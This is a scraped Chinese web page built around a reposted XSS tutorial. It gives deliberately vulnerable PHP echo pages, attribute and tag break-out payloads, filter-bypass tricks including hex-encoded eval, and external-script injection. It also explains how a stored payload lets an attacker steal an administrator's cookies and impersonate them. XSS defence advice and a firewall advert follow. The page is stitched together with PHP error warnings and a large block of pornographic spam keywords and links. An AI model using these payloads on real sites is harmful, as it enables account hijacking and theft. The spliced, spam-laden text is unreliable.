Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 国产成人综合网,亚洲一区二区在线视频,日韩免费视频观看

          整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          XSS跨站腳本攻擊的原理分析與解剖

          《xss攻擊手法》一開始在互聯網上資料并不多(都是現成的代碼,沒有從基礎的開始),直到刺的《白帽子講WEB安全》和cn4rry的《XSS跨站腳本攻擊剖析與防御》才開始好轉。

          我這里就不說什么xss的歷史什么東西了,xss是一門又熱門又不太受重視的Web攻擊手法,為什么會這樣呢,原因有下:

          1、耗時間
          2、有一定幾率不成功
          3、沒有相應的軟件來完成自動化攻擊
          4、前期需要基本的html、js功底,后期需要扎實的html、js、actionscript2/3.0等語言的功底
          5、是一種被動的攻擊手法
          6、對website有http-only、crossdomian.xml沒有用

          但是這些并沒有影響黑客對此漏洞的偏愛,原因不需要多,只需要一個。

          Xss幾乎每個網站都存在,google、baidu、360等都存在。

          0×02 原理:

          首先我們現在本地搭建個PHP環境(可以使用phpstudy安裝包安裝),然后在index.php文件里寫入如下代碼:

          <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重現</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你輸入的字符為<br>'.$xss; ?> </body> </html>

          然后,你會在頁面看到這樣的頁面

          我們試著輸入abcd123,得到的結果為

          我們在看看源代碼

          我們輸入的字符串被原封不動的輸出來了,那這里我們提出來一個假設,假設我們在搜索框輸入下面的代碼會出現什么呢?

          <script>alert('xss')</script>

          如果按照上面的例子來說,它應該存在第12行的[br]與[/boby]>之間,變成:

          <br><script>alert('xss')</script></boby>

          之后,應該會彈出對話框。

          既然假設提出來,那我們來實現下這個假設成不成立吧。

          我們輸入

          <script>alert('xss')</script>

          得到的頁面為

          成功彈窗,這個時候基本上就可以確定存在xss漏洞。

          我們在看看源代碼

          看來,我們的假設成功了,這節就說說XSS的原理,下面幾節說說xss的構造和利用。

          0×03 xss利用輸出的環境來構造代碼 :

          上節說了xss的原理,但是我們的輸出點不一在[ br ]和[ /boby ]里,可以出現在html標簽的屬性里,或者其他標簽里面。所以這節很重要,因為不一定 當你輸入下面代碼就會出現彈窗。

          <script>alert('xss')</script>

          先貼出代碼:

          <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用輸出的環境來構造代碼</title> </head> <body> <center> <h6>把我們輸入的字符串 輸出到input里的value屬性里</h6> <form action="" method="get"> <h6>請輸入你想顯現的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <?php $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" value="輸出">'; } ?> </center> </body> </html>

          下面是代碼的頁面

          這段代碼的作用是把第一個輸入框的字符串,輸出到第二個輸入框,我們輸入1,那么第二個input里的value值就是1,下面是頁面的截圖和源代碼的截圖(這里我輸入下面的代碼來測試)

          <script>alert('xss')</script>

          明顯的可以看到,并沒有彈出對話框,大家可能會疑惑為什么沒有彈窗呢,我們來看看源代碼

          我們看到我們輸入的字符串被輸出到第15行input標簽里的value屬性里面,被當成value里的值來顯現出來,所以并沒有彈窗,這時候我們該怎么辦呢?聰明的人已經發現了可以在

          <script>alert(&#039;xss&#039;)</script>

          前面加個">來閉合input標簽。所以應該得到的結果為

          成功彈窗了,我們在看看這時的頁面

          看到后面有第二個input輸入框后面跟有">字符串,為什么會這樣呢,我們來看看源代碼

          這時可以看到我們構造的代碼里面有兩個">,第一個">是為了閉合input標簽,所以第二個">就被拋棄了,因為html的容錯性高,所以并沒有像php那樣出現錯誤,而是直接把多余的字符串來輸出了,有的人是個完美主義者,不喜歡有多余的字符串被輸出,這時該怎么辦呢?

          這里我問大家一個問題,我之前說的xss代碼里,為什么全是帶有標簽的。難道就不能不帶標簽么?!答:當然可以。既然可以不用標簽,那我們就用標簽里的屬性來構造XSS,這樣的話,xss代碼又少,又不會有多余的字符串被輸出來。

          還是這個環境,但是不能使用標簽,你應該怎么做。想想input里有什么屬性可以調用js,html學的好的人,應該知道了,on事件,對的。我們可以用on事件來進行彈窗,比如這個xss代碼 我們可以寫成

          " onclick="alert(&#039;xss&#039;)

          這時,我們在來試試,頁面會發生什么樣的變化吧。

          沒有看到彈窗啊,失敗了么?答案當然是錯誤的,因為onclick是鼠標點擊事件,也就是說當你的鼠標點擊第二個input輸入框的時候,就會觸發onclick事件,然后執行alert(&#039;xss&#039;)代碼。我們來試試看

          當我點擊后,就出現了彈窗,這時我們來看看源代碼吧

          第15行,value值為空,當鼠標點擊時,就會彈出對話框。這里可能就會有人問了,如果要點擊才會觸發,那不是很麻煩么,成功率不就又下降了么。我來幫你解答這個問題,on事件不止onclick這一個,還有很多,如果你想不需要用戶完成什么動作就可以觸發的話,i可以把onclick改成

          Onmousemove 當鼠標移動就觸發

          Onload 當頁面加載完成后觸發

          還有很多,我這里就不一一說明了,有興趣的朋友可以自行查詢下。

          別以為就這樣結束了,還有一類環境不能用上述的方法,

          那就是如果在[ textarea ]標簽里呢?!或者其他優先級比script高的呢?

          就下面這樣

          這時我們該怎么辦呢?既然前面都說了閉合屬性和閉合標簽了,那能不能閉合完整的標簽呢,答案是肯定的。我們可以輸入下面的代碼就可以實現彈窗了。

          </textarea><script>alert('xss')</script>

          0×04 過濾的解決辦法

          假如說網站禁止過濾了script 這時該怎么辦呢,記住一句話,這是我總結出來的“xss就是在頁面執行你想要的js”不用管那么多,只要能運行我們的js就OK,比如用img標簽或者a標簽。我們可以這樣寫

          <img scr=1 onerror=alert('xss')>當找不到圖片名為1的文件時,執行alert('xss') <a href=javascrip:alert('xss')>s</a> 點擊s時運行alert('xss') <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr來彈窗 <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>過濾了alert來執行彈窗

          等等有很多的方法,不要把思想總局限于一種上面,記住一句話“xss就是在頁面執行你想要的js”其他的管他去。(當然有的時候還有管他…)

          0×05 xss的利用

          說了那么多,大家可能都以為xss就是彈窗,其實錯了,彈窗只是測試xss的存在性和使用性。

          這時我們要插入js代碼了,怎么插呢?

          你可以這樣

          <script scr="js_url"></script>

          也可以這樣

          <img src=x onerror=appendChild(createElement('script')).src='js_url' />

          各種姿勢,各種插,只要鞥運行我們的js就OK。那運行我們的js有什么用呢?

          Js可以干很多的事,可以獲取cookies(對http-only沒用)、控制用戶的動作(發帖、私信什么的)等等。

          比如我們在網站的留言區輸入下面的代碼:

          <script scr="js_url"></script>

          當管理員進后臺瀏覽留言的時候,就會觸發,然后管理員的cookies和后臺地址還有管理員瀏覽器版本等等你都可以獲取到了,再用“桂林老兵cookie欺騙工具”來更改你的cookies,就可以不用輸入賬號 密碼 驗證碼 就可以以管理員的方式來進行登錄了。

          原文地址:http://netsecurity.51cto.com/art/201408/448305_all.htm

          博客文章:http://blog.xbbai.site/xiao-bai-153.html

          SS即Cross Site Scripting,中文名稱為跨站腳本攻擊,那么你知道防范XSS漏洞攻擊的原則包括哪些嗎?

          XSS詳細介紹:

          XSS攻擊主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要是依靠程序員較高的編程能力和安全意識,當然安全的軟件開發流程及其他一些編程安全原則也可以大大減少XSS安全漏洞的發生。防范XSS漏洞的原則包括這些:

          1、不信任用戶提交的任何內容,對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、REFER、POST數據等,僅接受指定長度范圍內、采用適當格式、采用所預期的字符的內容提交,對其他的一律過濾。盡量采用POST而非GET提交表單,對<、>、;、,””等字符做過濾;任何內容輸出到頁面之前都必須加以en-code,避免不小心把htmltag顯示出來。

          2、實現session標記、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行,對于用戶提交信息中的img等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。

          3、cookie防盜,避免直接在cookie中泄露用戶隱私,比如email、密碼等等;通過使cookie和系統ip綁定來降低cookie泄露后的風險,這樣攻擊者可以得到的cookie沒有實際價值,很難拿來直接進行重放攻擊。

          4、確認接收的內容被妥善地規范化,僅包含最小的、安全的tag,去掉任何對遠程內容的引用,使用HTTPonly的cookie。

          防范xss攻擊-下載寶塔面板

          寶塔面板 - 簡單好用的Linux/Windows服務器運維管理面板-寶塔nginx防火墻有效防跨站攻擊;

          寶塔nginx防火墻使用場景:



          1.遭受CC攻擊、部分流量攻擊的用戶
          2.遭受SQL注入、XSS/XSRF之類的滲透攻擊的用戶
          3.遭受惡意上傳腳本、webshell等危險行為的用戶
          4.希望屏蔽境內或境外地區訪問自己網站的用戶
          5.希望通過UA、IP黑白名單管理網站訪問規則的用戶
          6.希望可視化管理網站防御規則的用戶
          7.希望實時展示防火墻攔截狀態的用戶
          8.適合想要查看攻擊來源、被攻擊的URI、保護的目錄,但又不會看的用戶
          9.適合網站不需要某些蜘蛛來訪,但又不會禁止的用戶
          10.適合網站被掃描器惡意掃描,但又不會禁止的用戶
          11.適合網站發文章不想要某些敏感詞出現,但又不會設置的用戶
          12.應用場景包含所有動態網站

          么是XSS攻擊?

          XSS全稱是Cross Site Scripting即跨站腳本,全稱跨站腳本攻擊,是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

          四個關鍵點:1、目標網站目標用戶;2、瀏覽器;3、不被預期;4、腳本。

          XSS有什么危害

          我們知道了什么是XSS攻擊,也一定很想知道XSS到底有什么危害,有什么用。

          簡單總結下來主要分為以下幾種

          • 盜取用戶Cookie。
          • DOS(拒絕服務)客戶端瀏覽器。
          • 釣魚攻擊,高級的釣魚技巧。
          • 刪除目標文章、惡意篡改數據、嫁禍。
          • 劫持用戶Web行為,甚至進一步滲透內網。
          • 爆發Web2.0蠕蟲。
          • 蠕蟲式的DDoS攻擊。
          • 蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據


          XSS攻擊有哪幾種類型?

          常見的 XSS 攻擊有三種:反射型XSS攻擊、DOM-based 型XXS攻擊以及存儲型XSS攻擊。


          1.反射型XSS攻擊反射型 XSS 一般是攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的 URL,當受害者點擊這些專門設計的鏈接的時候,惡意代碼會直接在受害者主機上的瀏覽器執行。反射型XSS通常出現在網站的搜索欄、用戶登錄口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙。

          一個簡單的例子如下:http://www.a.com/xss/reflect.php的代碼如下:

          <?php
          echo $_GET['x'];
          >

          如果輸入x的值未經任何過濾就直接輸出,提交:http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>

          則alert()函數會在瀏覽器觸發。


          2.存儲型XSS攻擊也叫持久型XSS,主要將XSS代碼提交存儲在服務器端(數據庫,內存,文件系統等),下次請求目標頁面時不用再提交XSS代碼。當目標用戶訪問該頁面獲取數據時,XSS代碼會從服務器解析之后加載出來,返回到瀏覽器做正常的HTML和JS解析執行,XSS攻擊就發生了。存儲型 XSS 一般出現在網站留言、評論、博客日志等交互處,惡意腳本存儲到客戶端或者服務端的數據庫中。


          3.DOM-based 型XSS攻擊基于 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。


          DOM XSS和反射型XSS、存儲型XSS的差別在于DOM XSS的代碼并不需要服務器參與,觸發XSS靠的是瀏覽器端的DOM解析,完全是客戶端的事情。

          http://www.a.com/xss/domxss.html代碼如下:

          <script>
          eval(location.hash.substr(1));
          </script>

          觸發方式為:http://www.a.com/xss/domxss.html#alert(1)

          這個URL#后的內容是不會發送到服務器端的,僅僅在客戶端被接收并解執行。

          如彈出cookie腳本:在自己的頁面彈出自己的Cookie只需要修改alert的內容為document.cookie即可!

          <script>alert(document.cookie);</script>


          如何防御XSS攻擊?

          1. 對輸入內容的特定字符進行編碼,例如表示 html標記的 < > 等符號。

          2. 對重要的 cookie設置 httpOnly, 防止客戶端通過document.cookie讀取 cookie,此 HTTP頭由服務端設置。

          3. 將不可信的值輸出URL參數之前,進行 URLEncode操作,而對于從 URL參數中獲取值一定要進行格式檢測(比如你需要的時URL,就判讀是否滿足URL格式)。

          4. 不要使用 Eval來解析并運行不確定的數據或代碼,對于 JSON解析請使用 JSON.parse() 方法。

          5. 后端接口也應該要做到關鍵字符過濾的問題。


          總結

          如今,各種類型網絡攻擊日益頻繁,除了XSS攻擊之外,比較常見的網絡攻擊類型還包括DDoS攻擊、CC攻擊等,它們非常難以防御,除了需要做好日常網絡安全防護之外,還需要接入高防服務,對攻擊流量進行清洗,保障企業網絡及業務的正常運行。


          主站蜘蛛池模板: 亚洲一区精彩视频| 波多野结衣一区二区免费视频 | 中文字幕无码不卡一区二区三区| 日韩AV片无码一区二区不卡| 一区二区视频在线播放| 东京热无码av一区二区| 国产在线一区二区杨幂| 国产短视频精品一区二区三区| 视频一区精品自拍| 一区二区三区视频免费| 久热国产精品视频一区二区三区| 国偷自产av一区二区三区| 午夜精品一区二区三区在线视| 欧美激情国产精品视频一区二区 | 成人精品一区久久久久| 国产精品久久久久久麻豆一区| 国产成人无码精品一区二区三区| 久久亚洲中文字幕精品一区四| 美女视频一区二区| 国产福利一区二区在线视频| 国产一区美女视频| 美女视频黄a视频全免费网站一区| 国产乱码精品一区二区三区四川 | 日韩一区二区三区视频| 国产成人一区二区精品非洲| 日本一区二区三区四区视频| 日韩高清一区二区| 国产av夜夜欢一区二区三区| 一区免费在线观看| 熟妇人妻一区二区三区四区| 中文字幕aⅴ人妻一区二区 | 国产一区三区三区| 国产乱码一区二区三区爽爽爽| 一本大道东京热无码一区| 久久国产免费一区| 国产精品一区视频| 国模大胆一区二区三区| 精品日本一区二区三区在线观看| 中文字幕一区二区三| 亚洲综合一区二区国产精品| 国产精品香蕉一区二区三区|